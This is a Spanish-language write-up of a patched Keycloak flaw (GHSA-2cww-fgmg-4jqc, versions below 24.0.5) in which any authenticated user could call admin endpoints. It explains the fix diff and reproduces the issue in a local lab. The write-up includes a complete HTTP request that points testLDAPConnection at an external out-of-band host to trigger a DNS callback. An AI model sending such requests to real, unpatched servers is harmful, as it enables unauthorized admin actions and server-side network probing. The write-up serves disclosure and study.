
La API de administración de Keycloak permite a usuarios con privilegios bajos utilizar funciones administrativas
Keycloak < 24.0.5 es vulnerable a una vulnerabilidad de Control de Acceso Roto, donde el atacante puede usar cualquier usuario autenticado para realizar alguna acción de API, como:
Solo encontré interesante testLDAPConnection, donde un atacante puede interactuar con LDAP hacia un host externo.
primero descarga la versión vulnerable de KeyCloak 24.0.4 desde aquí https://www.keycloak.org/archive/downloads-24.0.4.html
luego extrae el archivo Zip y ejecuta el comando bin/kc.sh start-dev

Ahora lo ejecutarás en localhost:8080. Crea una nueva cuenta de administrador y luego inicia sesión con esta cuenta de administrador
ahora crea un nuevo Realm para usuarios regulares, y luego crea un usuario con privilegios de usuario en este realm

Basado en el commit que corrige la vulnerabilidad "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
encontramos que hay 3 archivos que fueron modificados:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
Analizando el cambio de código en TestLdapConnectionResource.java:
(Código Vulnerable):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
No había verificación de permisos. Cualquier usuario autenticado podía llamar a testLDAPConnection y realizar pruebas LDAP, lo cual es una acción administrativa.
(Código Parcheado):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}

La línea auth.realm().requireManageRealm(); fue añadida para verificar si el usuario tiene permisos de administrador (rol manage_realm) en el realm.
Esto significa que cualquier usuario de cualquier Realm puede enviar una solicitud a /admin/realms/users/testLDAPConnection
Ahora, en un nuevo navegador, abre el enlace http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Inicia sesión con el usuario que creaste, luego haz grep del authorization: Bearer <>
envía una solicitud HTTP al endpoint vulnerable :
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
en el parámetro connectionUrl coloca tu host externo y envía la solicitud,
entonces recibirás la interacción DNS

puedes aplicar lo mismo con getUnmanagedAttributes y getProviders.
referencia: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc